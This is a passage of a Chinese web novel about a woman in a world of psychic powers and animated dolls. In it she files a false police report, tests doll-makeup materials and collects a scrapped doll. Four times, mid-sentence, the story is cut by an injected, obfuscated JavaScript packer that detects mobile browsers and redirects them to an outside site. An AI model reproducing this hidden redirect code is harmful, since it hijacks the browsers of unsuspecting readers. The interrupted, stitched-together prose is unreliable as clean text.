虽然体感上才来到这个世界第一天，她已经迫不及待想要开始新生活了。 “医生，我现在能出院吗？”她直截了当地问道。 医生推了推眼镜，温和地回答：“你现在的状况非常稳定，而且对于你这样的异能者，确实不需要过多防范措施。我们建议最好再观察一段时间，不过如果患者意愿强烈，也可以办理出院，只需要按时来复查。” 沈鸢茉愣了一下，“她这样的异能者”？ ——是指F级的吗？ 想起之前护工们全副武装的样子，现在却连防护服都不需要穿了。看来她这个F级异能者，就算失控也造不成什么危害。 说不定威力就跟放个屁差不多？她在心里偷偷想着。 “那办完出院手续，我就能直接回家了吗？”她想起以前看过的小说情节，“需不需要去什么协会注册？” “可以直接回家。”医生微笑着解释，“你的档案资料已经被学校提走了，会有人联系你安排入学和住宿事宜。这几天你只需要安心等待通知就好。” 这服务效率也太高了！什么都不用自己操心。沈鸢茉在心里感叹着，忍不住试探性地起身：“那...我这就走了？” “也不用这么着急吧。”医生失笑地抬手示意她坐下，“再观察三天如何？身体要紧，毕竟你是大龄觉醒者，稳妥一点比较好。况且这里的住院条件也不算差吧？” “不不不，这里条件非常好。”沈鸢茉连忙摆手，乖乖坐回床上，“我就是刚觉醒太兴奋了，特别好奇异能者的生活是什么样子。当了二十年普通人，突然有了异能……” “你现在思绪还比较乱，不如把这几天当成假期好好调整。”医生半开玩笑地说，“等入学后可有得你忙的，到时候想这么清闲可就难了。” “您说得对。”沈鸢茉故意拉长脸，撅着嘴说，“那我决定这三天要好吃懒做，彻底当条咸鱼！” “有梦想谁都了不起。”医生被逗笑了，“那就好好休息吧，有事随时按铃，我先去查其他病房了。” “好的，辛苦您了。” 送走医生后，沈鸢茉依然精神亢奋。这个世界美好得像个梦境，她真怕一觉醒来发现都是幻觉。 但光担心也没用，混吃等死更不现实。就算条件再好，不努力的话好日子也长不了。 既然已经有了明确的人生规划，就有了前进方向。她的异能虽然不强，但具体怎么用还是等入学后系统学习比较稳妥，自己瞎琢磨万一出问题就不好了。 眼下她能做的，就是继续老本行——养娃。 果然，打开终端网页，收藏夹里还是那两个人形师论坛和人偶论坛，看来这两个依然是主流平台。 她简单搜索了一下，发现各种论坛、贴吧、二手交易平台和官网应有尽有，虽然名称不同，但形式上和她熟悉的差不多，可以慢慢了解。 保险起见，还是先从正规论坛开始学习比较好。 沈鸢茉决定从基础知识重新学起，先搞清楚这个世界的娃娃和她以前养的有什么不同。 她熟悉的BJD大多是树脂材质，结实耐磨，但最大的缺点就是在紫外线照射下会变色发黄。白树脂的“白肌”娃娃会逐渐变黄，特殊肤色的则可能出现褪色发青的情况，非常影响美观。 通常玩家会尽量把娃娃放在避光处，定期喷涂消光漆来延缓黄化。但黄化终究是不可避免的，这是所有娃爹娃娘永远的痛。 当然也有其他材质可选，比如陶瓷、石膏、PVC等，但各自都有问题：要么太硬，要么易碎，要么容易染色，价格还特别贵。 而这个世界的娃娃，用的是一种叫“沉香软脂”的全新材料，这是她从论坛科普贴里了解到的。 沉香软脂是用沉香云木的树皮纤维加上一些化学材料合成的，可以根据需要调整颜色和硬度。不同产地的沉香云木品种会影响软脂的性能。 具体影响哪些性能暂且不说，最让沈鸢茉震惊的是通篇都没提到“黄化”、“青化”这些问题！而且这种材料天然环保，产量充足，制作工艺也很成熟。 就是不知道实际手感如何。目前为止，她在这个世界只接触过工作人偶，而工作人偶和战斗人偶又有很大区别。 简单来说，工作人偶是为普通民众服务的，而战斗人偶只有异能者才能驱使。 泡了差不多一整天论坛，沈鸢茉总算对这个世界的人偶有了基本认识。 在这里，人偶与日常生活密不可分。战斗人偶需要异能者向它的核心注入能量，类似于“充电”，充能后就能按照指令行动。 医生说过，她虽然是F级异能者，能量阈值很高，但可能只能让人偶挠个痒。这说明除了能量多少外，异能的性质也很关键。 普通人没有异能，只能使用工作人偶。工作人偶也有储能核心，但指令是通过内置的机械程序下达的。预先编写好程序，充入能量，就能完成一些简单工作。 这样对比来看就清楚多了：无论是战斗人偶还是工作人偶，想要活动都需要充能。区别在于指令来源——战斗人偶靠异能者的特殊能力，工作人偶则依赖预设程序。 想到这里，沈鸢茉有点明白医生的惋惜了——她能量充足，却无法有效操控人偶，这不就是个活体充电宝吗？ 等等…… 或许可以专门研究怎么给人偶充能？说不定能开辟一条财路呢！ 论坛上关于充能的科普帖就有几十个，不同型号、材质、用途的人偶充能方式各不相同。沈鸢茉点开第一篇，还没看几行就累得睡着了。 梦里，她站在繁华的街头，人们抱着各式人偶排成长龙，挨个等她充能。终端不断响起信用点入账的提示音，乐得她在梦里都笑出了声。 第二天醒来，她发现嘴角还留着口水的痕迹。 洗漱完毕，终端突然收到一条陌生消息，通知她出院后直接准备搬去学校，后天会有工作人偶上门帮忙搬家，只需要扫描终端即可。 哇哦！ 管他呢，虽然异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968978|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评级只有F，但只要不影响她养娃就行。而且这服务也太周到了吧？什么都安排得妥妥当当。 好得让她都有点不好意思了，简直像天上掉馅饼。 但转念一想，该不会是骗局吧？她孤身一人来到这个世界，真遇到非法组织该怎么办？ 虽然这个世界好像是真实的，她觉醒了异能好像也是真的，但异能者就不会被骗了吗？ 那么好的条件，什么都管什么都包，按照她以往的经验，这不明晃晃的诈骗吗！ 要不报个警试试？求个安心也好。 终端上就有一键报警功能。沈鸢茉一时冲动，飞快地躲进卫生间，坐在马桶上按下了报警键。 “您好，这里是平城市第一公安局沉香路分局，请问需要什么帮助？”终端传来清晰的电子音。 “我怀疑自己被人盯上了，可能有危险...”她压低声音，努力组织语言。毕竟从没报过警，不知道该怎么说。 “收到您的报警，协警人偶正在赶往您的位置。稍后会将身份验证码发送到您的终端，请注意核对。还有其他需要帮助的吗？” 终端震动了几下，同时门外响起敲门声：“公民编号xxxxxxx沈鸢茉女士，这里是平城市第一公安局沉香路分局协警人偶，我们于今日9点12分接到您的报警，请核对身份信息后接受协助。” 这也太快了吧？！ 难道连她想报警都被预判了？这些协警人偶该不会一直守在门口吧？ 沈鸢茉打开卫生间的门，仔细核对了人偶的身份牌，然后请他们进来。 五个高大威猛的男性人偶整齐列队，穿着笔挺的黑色警服，腰间配备着警棍、手铐和其他叫不出名字的装备，个个表情严肃。 被一群帅哥人偶包围，沈鸢茉突然觉得自己的报警有点小题大做。可她还是感觉这个世界过于魔幻，既然都叫来了，不如问个清楚。 反正跟人偶说话也不丢人。 “呃...请问这里是哪里？”她先抛出一个基本问题。 “这里是首都第一异能者康复中心。”其中一个人偶回答，“您是否迷路了？” “没有没有，就是确认一下...迷路也可以报警吗？” “可以。但您报案称有人身危险，所以出动了五名协警。如果是迷路，只需要派一名。” “原来如此。那这里确实是正规医院吧？不是什么...拐卖人口的黑心机构？” 人偶停顿了一下：“这里是合法注册的异能者专属医疗机构。院内常驻2500名协警人偶，随时保障患者安全。” 沈鸢茉松了口气，又问道：“那如果报假警会有什么后果？” “我们鼓励市民提高安全意识。如果是误报，请及时撤销报案，避免浪费公共资源。” “好的好的。”这下总算可以放心了。 “还有其他需要帮助的吗？”人偶再次询问。 沈鸢茉犹豫了一下，还是按捺不住好奇心：“那个...请问你们屁股后面挂的是什么装备啊？” 9. 第九个崽崽 询问别人家娃用的什么眼珠戴的什么假毛穿的什么衣服妆师是哪位太太，差不多也算娃娘的传统艺能了。 还有很常见的，干脆连娃都不认识但是感觉我超好可爱想要拥有的，会询问是“谁家小谁”。 甚至很多社恐娃娘，为了自家孩子，都会努力社交，要到链接把崽打扮得漂漂亮亮。 沈鸢茉都处理完人身安全这种小事了，自然，她的心思也要回归正题。 不知道是不是身份加成，或者是制服加成，明明跟普通工作人偶都是类似流水线的长相，沈鸢茉就是感觉这五只包围她的更飒爽更帅气。 等她把那个注销的人偶捡了，就给他换个妆，再做一身类似的制服，想想都带感。 一模一样的制服她不是不能做，她以前也用自己家娃cos过角色。但她家最大的三分也不过80cm，服饰都是缩小版所以还好。用工作人偶去cos协警人偶，大小长相都差不多，她怕惹麻烦。 所以制服肯定得改。 在相像的基础上做点改动，只要别引起误会什么的就行。 那这个相像，自然也包含配件的相似，所以沈鸢茉想着，干脆趁着今天报了警，顺便也把人家的配件研究一下，省得他们白来。 要是以前，她直接问娃娘就行，但这里的娃，特别是这些工作人偶，应该都算公共资源，具体归哪个人或者该问谁，也不好说。 就只能直接问人偶本偶。 警棍、手铐她都认识，就他们屁股上挂着的一串小灯笼似的东西，也不像是单纯的装饰，她从未见过。 “是针对异能犯罪者的镇爆珠。”人偶答道。 “标配就是一串七颗吗？”沈鸢茉凑近一些仔细端详，还数了一下，又小声嘀咕，“能召唤神龙吗？” “对的，标配是七颗，”人偶迷之卡顿了一下，继续回答，“可以召唤神龙，但神龙不一定来。” “蛤蛤蛤！”沈鸢茉喷笑出声。 什么嘛，这么大只的协警人偶，她还以为有多严肃，没想到也超可爱的嘛！ 想、要、拥有！ 告别了协警人偶们，沈鸢茉打开终端，先对之前的脑抽报警操作进行了销案，随后吃完早饭，又给自己安排了一天的人偶学习计划。 她的小目标有了，出院之前正好闲着，再把这边世界怎么给娃改妆拉筋的相关知识恶补一下。 娃本身使用的材料不同，那么改造用具多半也会不同。 正如沈鸢茉推测的那样，主要工具和材料她都没见过。 她是直接搜了改妆视频，发现这类视频比想像中的少很多，最火的几个，播放量也不过三五千。 在沈鸢茉的印象中，大太太出的视频，播放量几十万，上百万应该也是有的。观看的人也不仅是想要学习手法的妆师，粉丝们也会慕名前来观看打卡。 妆容教程以及妆面展示，这类视频要是以前，平台上一搜也是一大堆，单找某一位妆师的主页，可能都得有几十几百个视频。而她现在还是模糊搜索呢，最大的视频网站上，竟然也只出来两百多条搜索结果。 奇怪了，这世界不是人手至少一只娃的吗？异能者肯定得有自己的战斗人偶，而日常生活中，普通人也需要工作人偶帮忙料理家务之类，公共资源更是，各个领域各个角落，都能看到人偶的身影。 制作人偶的材料也技术纯熟，人偶在人们生活中比重那么高，怎么相关产业看起来如此凋零呢？ 沈鸢茉点开播放量排第一的改妆视频，认认真真，从头看到尾。 她去线上交易平台搜了一下罗列出来的改妆工具，价格也不算贵。从视频来看，手法也没什么特别的，只是消光漆换成了无毒型的亚光色霜，卸妆用的剧毒稀释剂或者替代用的除漆剂、洗笔液、卸甲水等等变成了脱色膏，上色的颜彩、色粉模型漆都改为矿物粉。 也就是说，材料都升级成了天然安全无污染且物美价廉的产品，手法跟她以往的没多大区别，想要什么在购物网站也都能很容易地买到并送货上门甚至全场包邮，结果整个改妆产业的发展却隐约比不上她原本的世界。 怎么回事？这个世界的人玩娃都玩原装的吗？难道都不追求个性了吗？ 沈鸢茉听说过有小布圈的娃娘，会珍藏原版自带的妆面，也不改妆，就那么养着，但多数娃娘娃爹还是喜欢给孩子换个喜欢的眼缘妆面，养出自己独一无二的风格。 她原本还想着靠改妆技术在这个世界捞第一桶金呢，如果市场没有什么需求的话，那她只能再想别的赚钱方法。至少，她想给自家娃换妆也不用求人，自己买材料自己改，更合心意也更省钱省事。 省下的就是挣下的。 改妆教程不多，对沈鸢茉而言也没看到什么新技术，展示的也就几十个，都没什么新意。 拉筋教程倒是有，有也不算多。而且也没什么难度，看样子只要力气够大，哪怕是一分的娃，也没有什么特别的设计，还是那几种穿筋的方法。以前她那里用的是橡皮筋，这里的则是别的什么材料制成的筋条。 大致了解之后，沈鸢茉花掉一半的积蓄，下单了几样基础的改妆材料和两根一分娃用型号的筋条。看起来虽然跟之前没什么区别，但手感还是得亲自试过多加练习，才能保证最终的效果。 下单之后，沈鸢茉又点开视频网站给她推送的人偶改造视频。这个类别的视频数量暴增，主要是给玩偶增加一些“武器装备”。 原来不是在组装高达啊…… 可是，给工作人偶装武器？这是什么诉求啊，而且还这么火爆？ 工作人偶不都负责一些日常生活的琐事吗，擦个地而已，有必要安装迷你火箭喷射器？！ 而事实证明，还真的需要。 只是装来不是为了擦地，而是为了战斗。 这个世界人偶战斗风靡，异能者自然是操纵专业定制的战斗人偶，进行战斗或者参加人偶斗技会。 但普通人除了观战，自然也会蠢蠢欲动，体验一把战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968979|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗的乐趣。由此发展起来，娱乐性质的工作人偶斗技会也就应运而生。 具体的区别，沈鸢茉在脑海中类比：大概就是军人参加作战运动员参加奥运会，而人们玩竞技游戏饭后百步走这样子吧。 既然娃的改造更为流行，那么她自然也要在这方面下苦功。 从沈鸢茉目前能接触到的信息来看，改造的技术含量其实不高，跟给娃换筋差不多，就是将身体拆开更换配件，然后再重新穿好就行。 需要更换的武器装备这些配件才是重点。既然是普通人举办的娱乐性质的比拼，也就不可能真的放什么杀伤性武器，根据不同的赛事规则，对于配件的规模、重量、型号等都有很明确的规定和限制，有专门的购买、定制渠道。 想要驱使这些斗技用工作人偶，自然也离不开机械核心。这一点也不需要沈鸢茉操心，这些会由专业的程序员负责，跟她的业务范围基本都不沾边。 沈鸢茉需要做到的，就是尽可能多地了解不同配件和机械核心，包括它们的使用方法、运作方式等，这样才能采用合适的手法对人偶进行改装。 比如有些配件需要局部单独穿数十根筋条，才能让配件正常动作；有的机械核心为了达到某些数据而牺牲了反应速度，这种时候就需要调整拉筋的强度。 好在沈鸢茉有多年的玩娃经验，也接触过很多特体，看过很多牛逼的改妆、改造视频，还有幸摸到过半机械化的改造娃，所以学习起来没太多障碍，接受得也快。 只要是跟娃相关的事情，沈鸢茉做起来都是不知疲倦。 ……不像是上课听讲，没两分钟她能走神八百回，昏昏欲睡。 晚上医生过来查房，丝毫没有提及沈鸢茉早上报警的事。 但沈鸢茉总觉得他和医院的人，甚至学校那边的人，该知道的都知道了。 估计又是念在她刚刚觉醒脑子不清楚，才没跟她计较吧。 ……所以是不是趁着“脑子不清楚”，她应该多多试错多多搞事呢？ 这会儿不闹，以后也许没机会了呀。 不过她也就是那么随便想想，自娱自乐，她还有正事要忙，日子要好好过呢，不可能没事找事。 好在医生也没提出说延长观察期，看她状态不错，聊了几句就走了。 临睡前，她突然意识到一点。今天刷到的视频以及这两天在论坛上的相关帖子，大多数讲的都是工作人偶，很少有提及战斗人偶的。 那就说明两个问题：首先，两大权威论坛和最大的视频平台，要么都是面向普通人开放，要么就是有仅对异能者开放的版块或者网站，而她还没摸到门路； 其次，她意识到，战斗人偶恐怕才是这个世界娃圈的主要发展对象，市场需求也多是针对战斗人偶的，而战斗人偶跟工作人偶显然有某些区别，不可一概而论。 也许，等她到了学校，才会真正接触到战斗人偶吧。 看来她要学习的还有很多。这么一想，还有点小兴奋呢。 10. 第十个崽崽 第二天一大早，沈鸢茉从美梦中醒来。 收拾洗漱吃过早饭，她在网上订购的材料就送到了。 抱着几个瓶瓶罐罐，沈鸢茉冲进她的小阳台。先前为了避免消光喷到墙上地上，她用画册里面找到的广告纸，把喷涂区域都简单地保护了起来，准备等她退房……出院的时候再撕下来。 现在刚好还能在这一小块地方试试新产品。 她抓着带过来的那颗六分头，已经喷好了三层消光，其实可以直接上妆了。不过脱色膏的说明书上还特别标注，可以去除大部分漆类产品，她正好试试。 如果脱色膏和亚光色霜可以达到她想要的效果，那所剩无几的消光漆她就可以毫不心疼地扔掉。 听说只要是个漆就有毒，之前她一直没那个条件装喷涂箱，只能将就，多多少少地，肯定吸入了一些有害物质，属于无奈之举。 谁不想身体健康多活几年，活得长了不就能多玩几年娃，什么消光稀释除漆剂，能滚多远滚多远！ 沈鸢茉现在比较担心的，是亚光色霜在使用的时候是否方便，以及新材料跟树脂的适配性。 一般上妆之前，新头都需要用稀释剂擦掉脱模剂，如果是带妆头，自然需要卸干净。 然后就是喷消光漆。消光漆不仅可以保护娃头减缓黄化速度，最主要的还是便于着色。但是消光漆是有毒的啊，所以广大妆师和玩家们为了健康着想，一直都在寻找这些剧毒材料的替代品。 沈鸢茉也试过很多妆师推荐过的罩光剂，用来代替消光。 但罩光剂在喷涂的时候会有一些注意事项，她感觉还挺麻烦的。 比如上色之后如果需要修改，对于不同的材料，像是水溶性色粉或者丙烯或者模型漆，会有不同的操作要求，同时笔触啊手感这些也不大一样。 总而言之，对于沈鸢茉而言，还是消光比较方便。 每次喷消光，她都是戴着防毒面具憋着气，在通风的阳台飞速喷完一层掉头就跑。像是用生命在玩娃，听说还有妆师因为吸入过多有毒物质得了白血病的，虽然不知道真假，但总归悬着一颗心。 又怕中毒，又不能放弃玩娃。一天天的，玩个娃娃都得提心吊胆。 这里的上妆材料她反复确认过，都是安全无害天然无污染，要是能正常使用，那以后上妆岂不更是放飞自我，那她不得一天换一个妆面，三百六十五天都不带重样！ 就这么心里嘀咕着忐忑着，又抱着极大的期待，沈鸢茉抠开了脱色膏和亚光色霜的包装。 按照脱色膏的说明，她应该先在娃头均匀涂抹一层，静置十分钟后洗净擦干即可。如果妆面时间比较久、上妆层数多、颜色比较重的，可以适当延长五到十分钟，再洗净擦干。 不过谨慎起见，她只用棉签挑出来一点，在娃的头盖上方、会被假发遮住的位置，小心涂抹了一些。 她的习惯是在喷消光的时候，脸壳和头盖一起喷，头盖一层脸三层，这样做虽然废消光，但也能保证头盖和脸壳黄化速度差不多，避免色差过大。 用喷过一层消光的头盖试验，既可以看看脱色膏效果，又能保证万一树脂出了问题，至少脸没事。 她虽然读的是科技大，但选的却是外语专业，主要目的就是方便她直接从国外官网订娃以及走投无路的时候比较容易就业，事实上高中学过的一点化学知识她早就还给老师了。 树脂和软脂有什么区别，会不会跟脱色膏、亚光色霜、矿物粉这些新材料里面的什么成分产生什么反应，这些都是未知。 这可是她等了一年工期才出生的娃欸，小心一点总没错。 十分钟后，沈鸢茉将头盖洗净擦干，然后对准光线仔细观察。 可以看出头盖中央被她涂过脱色膏的地方，对比旁边喷过一层消光的地方，有一小块露出了树脂。 好像是安全的耶。 再试一次！ 沈鸢茉这一次将整个头盖都涂上一层脱色膏，然后静置、洗净、擦干—— 得到了一枚安然无恙的白煮蛋……蛋壳！ 她欣喜地把玩着50星际点数买来的一大罐脱色膏，膏体呈现透明无味的凝胶状，质地水润不拔干，还很好推开！ 这一次，她大胆地将脱色膏在娃脸上怼了一小坨，全脸推开涂抹均匀，然后静置。每隔一两分钟，她就跑去观察一下。 看起来就好像给娃上了一层睡眠面膜欸。 也没出现什么不良反应，温和不刺激。 十分钟后洗净擦干，跟头盖合体，这一次，她得到了一颗完好无损的白煮蛋！ 呜呜，稀释液除漆剂洗笔液卸甲水，掰掰了您们！ 沈鸢茉这会儿已经基本信任这边世界的新材料了。不愧是发达娃圈，连冷门副业的产品都做得这么贴心，太先进太好用了。 接下来测试亚光色霜和矿物粉，她也充满了信心。 不过也一样的，还是得小心为上。 对于打底和上色，需要测试的项目和需要的时间就要长一些。 整整一天的时间，沈鸢茉就在阳台扎根了。 测上妆效果的时候，她先在六分的小头盖上分出几个区域。 还是严格按照产品说明，先将亚光色霜按照不同的厚度和层数，涂抹在不同的区域。三五分钟过后，透明的色霜就彻底风干，涂抹区域也呈现出磨砂质感。 随后她开始测试笔触和上色效果。矿物粉她只买了三原色以及她个人比较常用但是不好调或者懒得调的烟灰、深棕等。 每种颜色都在不同区域抹上一点，沈鸢茉眼神越来越亮。 上色均匀，晕染细腻，显色效果也很不错。她这买的都还是很基础的牌子，等有钱了再入手一套高端产品，效果肯定更好！ 将新材料都试了一遍，暂时都没什么问题，将头盖用亚光色霜定妆一次之后，沈鸢茉最后还用买矿物粉送的笔刷，在头盖上重重地刷了一个正红一个纯黑色的点。 这是她测试染色、裂妆的办法，结果出来之前，她这个树脂脸壳不急也不敢直接用新材料上妆，就先把头盖这么放上半个月或者几个月，观察一下会不会出状况，之后再做打算。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968980|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在测试期间，沈鸢茉准备先用这边的软脂娃练妆。都是同一个世界出品，也经过长时间的测评，她可以放心上手。 中午的时候，那个工作人偶应该就自己跑去把自己注销掉了，但沈鸢茉硬是忍着没去看。 反正明天出院，能捡就明天一并带走，今天过去她看了肯定眼馋，心里也痒痒，带回病房又惹眼又费事，不如忍到明天。 喜欢的娃，一年甚至三年的工期都能等，等完娃的工期等投妆，好不容易投中了喜欢的妆师还要再等妆期，同时还有衣服配件等等，又是抽选又是抢购，然后还要等工期！ 一天而已，她等得起！ 晚上医生查房之后，沈鸢茉居然还收到一条信息。 还是上次的号码，她给备注了“学校”。 学校：[附件1] 学校：[附件2] 学校：这两个附件你抽空看一下，一个是异能者的部分福利待遇，怕你刚觉醒而且头脑混乱所以不清楚，另外一个是可报销清单，物品列表和报销比例上面都有。 学校：公安分局那边已经帮你处理过了，出现问题或者紧急情况，第一时间报警或者联系我都可以。 沈鸢茉飞快看完消息，心想果然，她现在不管做什么，都处于医院、学校乃至国家的监控之下。 不过还是那句话，只要不影响她正常生活日常玩娃，她就不算介意，毕竟人家也都是明着来的，毕竟人家是花了钱的。 就算她没穿越，公民信息有心查的话，也基本都公开的，还有很多个人信息泄露，非法窃取公民信息之类的事情，每天都在发生。 来了这边，作为这里的公民，她享受生活的同时，也要融入这边的制度，也没什么好计较的。 沈鸢茉又一次点开附件，被全方位“监视控制管理”的轻微不适便彻底被她忘到脑后—— 呜呜，作为一个F级的老年新人，她以为吃住不花钱、免费上学、每个月500点零花就已经够好了，没想到异能者的福利待遇远不止这些： 交通工具免费、景区免门票、社会公共设施优先使用且免除押金和租金等等等等，想到想不到的地方，都会体现出异能者的SVIP待遇； 除此之外，异能在校生购买学习资料材料等还可以向学校申请部分或者全部报销，毕业之后在单位入职的可以向单位申请，个体啊SOHO的也可以在所属街道办事处提出申请研究类经费或者报销。 也难怪对于异能者的管控严格。待遇好能力高，万一变坏了，不好好学习工作跑去犯罪，后果不堪设想。 沈鸢茉给学校回了终端自带的系统初始表情包，一颗感恩的心和一颗流泪的光头，又搜索了几套中意的沙雕表情包下载备用。 然后便去购物网站，请商家发过来电子发.票，给学校打包发送并附上一枚香肠嘴亲亲表情。 学校：……收到。 看了眼学校的回复，沈鸢茉疲惫地倒头就睡。 明天！她就可以出院了！带着她的上妆材料，扛起她的大宝贝！ 回家激情改娃！ 11. 第十一个崽崽 清晨五点，沈鸢茉就睁开了眼睛，兴奋得再也睡不着。 窗外还是一片漆黑，只有值班室的灯亮着。 太早了，天怎么还不亮。 她在床上翻来覆去，像烙饼一样辗转反侧。脑子里全是待会儿要去捡娃的画面。 黑灯瞎火的，她现在就想办理出院，但还是得等。 睡也睡不着，起来也没事干，就那么眯着，沈鸢茉心脏越跳越快。 至于一分的娃她扛不扛得动，她倒是一点也不担心。学校给她的消息早就说了，有需要搬的可以直接刷终端，请工作人偶帮忙。 让娃帮自己捡娃，光是想想就让她激动得脚趾都蜷缩起来。 更激动了怎么办。 然后还可以给帮忙的娃展示一下自己。作为一个娃娘，她也是有很多好处呢，以后退休了要不要考虑来她家之类的。 虽然它们不一定能领会她的意思，而且规定上也不一定允许，但介绍一下自己，能跟娃交流还是会很开心吧。 更让她兴奋的是，这个世界有这么多工作人偶，肯定有不少因为缺乏养护而提前报废的。 以后她完全可以靠捡娃来扩充收藏，改娃的费用还可以报销！ 这什么神仙日子。 沈鸢茉抱着枕头一个劲傻笑。 至于一些改娃的配件啊、机械核心之类的，一部分专利产品不给报销，她也相信自己一定能靠本事赚到钱，别人家有的，别管用到用不到，她家饱饱们也必须拥有！ 畅想着美好的未来，好不容易熬到九点，沈鸢茉立刻冲去办理出院手续。 听闻医生正在手术，她只好发了条感谢信息，然后背起医院送的单肩包——里面只装着一颗六分娃头和新买的瓶瓶罐罐，大步冲出医院。 她越走越快，越走越快，最后直接跑了起来。 目标—— 医院东南门向北三公里的回收区！ 回收区是一排白色的大棚，门口有保安人偶看守，沈鸢茉扶着外面的围墙喘得像头牛，给自己半分钟平复呼吸。 随后她就看到不远处有人刷电动车疾驰而过。 ……失策了，原来可以刷电动车的，一路跑步过来的她岂不是好蠢。 但她绝对不能承认这种事，硬是挤出老娘就是在晨练的表情，呼哧呼哧地刷了终端，顺利通过了大门。 进去一看，她就放心不少。 虽然是废旧人偶回收，但也不是她想像中那种破破烂烂垃圾场一样的场景。整个回收区域灯火通明，整洁干净。 房顶悬挂的巨大指示牌，标明了整体区和零件区，每个区域又按照时间、性能等进一步细分，有工作人偶拿着废弃人偶掉落的零件在两个区域之间往返。 沈鸢茉最先抵达的是零件区。按照不同的部位、型号，这些报废零件被放在一个一个的小推车中。 穿过零件区就是整体区，这里的废弃人偶被存放在单独的立柜当中，就像一个个透明的棺材。 沈鸢茉的目光扫过一个个立柜，透过立柜，里面站立姿态的人偶都有着不同程度的老化以及损伤。 但很多其实只需要拉个筋、换个妆，至少外表来看就能继续养，甚至多费点心思的话，会成为一个全新的娃。 作为F级的异能者，沈鸢茉每月也是有报销额度的，总不可能让她无止尽地捡娃然后修复，还不花一分钱。 她很想把这些被迫报废的娃全都捡回家，但显然，这并不现实。 眼下她也只能把先前那只捡回去试着改一改，看看效果，再做打算。 听医生的意思，如果她进了学校好好学习、加强锻炼，异能还是有可能升级的。 A级肯定福利待遇更好，报销额度更高，兼职就业给出的底薪也高，让她养娃的资金更为充裕，但实在不行也没法勉强，毕竟她只有F级的资质，升级空间估计不大。 不大，那也要尽力，升到D级也行啊，资金多点是点。 再不行她还可以努力活得长一些，靠时间累积，多活一个月就多捡一个娃回来养，能救一个是一个！ 每个立柜上都标示着人偶的详细信息，沈鸢茉跟着指示牌，很快就找到了昨天注销的人偶。 他的手又掉出来一只。 叹了口气，沈鸢茉在一旁的端口刷了终端，认证过身份，立柜嘀了一声，她打开了柜门。 里面用来固定人偶的几个卡扣也解了锁，她轻轻一按，就全部弹开了。 废旧的工作人偶朝沈鸢茉倒了下来。 这时候她才想起应该先叫一只工作人偶帮忙的。她条件反射性地接住了倒下来的人偶，正要喊工作人偶过来帮忙，又疑惑地闭上嘴，仔细端详着眼前的高大男性人偶。 怎么……好像不是很重的亚子？ 她掐着人偶的腰，试着举了一下。 轻轻松松，整只人偶松松垮垮地被她举到空中，脑袋无力地垂着，胳膊腿儿都在空中晃荡。 卧槽。 这可是真人等大的一分人偶，居然这么轻的吗？ 她余光又看到旁边的详细信息，上面明明白白地标着重量：90KG。 唔……是这个世界的计量单位跟她以前世界的不一样，还是说…… 她变大力女金刚了？！ 作为异能者，还有这种好事？？？那她以后捡娃拉筋岂不是超easy？！ 她还以为自己只是变得能吃了呢。 沈鸢茉看了看，周围应该没活人。便试着一手托起人偶的腿弯，一手搂着他的腰，来了一个标准的公主抱。 稳稳当当！ 那么接下来…… 她调整了一下人偶的上半身，一只手托着人偶的大腿根，然后完成了！ 单手公主抱！ 老娘好棒棒！ 兴奋的沈鸢茉原地又来了两个深蹲，重量方面毫无难度！ 只是因为太大了，长手长脚的不太好摆弄，不然她还能解锁出更多姿势。 等有时间了可以在家慢慢尝试，芜湖！ 有工作人偶检测到她在这里停留了一段时间，过来问要不要帮忙。 沈鸢茉豪情万丈地说谢谢不用，然后录入了信息，将心心念念的报废人偶扛在肩上领走了。 原路返回到了零件区，她还又挑了几个可能用得上的身体部件以及一颗仿真皮都破损的头，刷终端拿了个袋子，一并打包回去备用。 从回收区大门出去，这次她学聪明了，刷了辆电动车。 公共电动车有好几种，她知道的两个轮子的也有，像她今天要带的东西比较多，可以刷一辆电动小拖车，人偶和零件都能放到后面的车斗里。 这里的电动车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968981|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 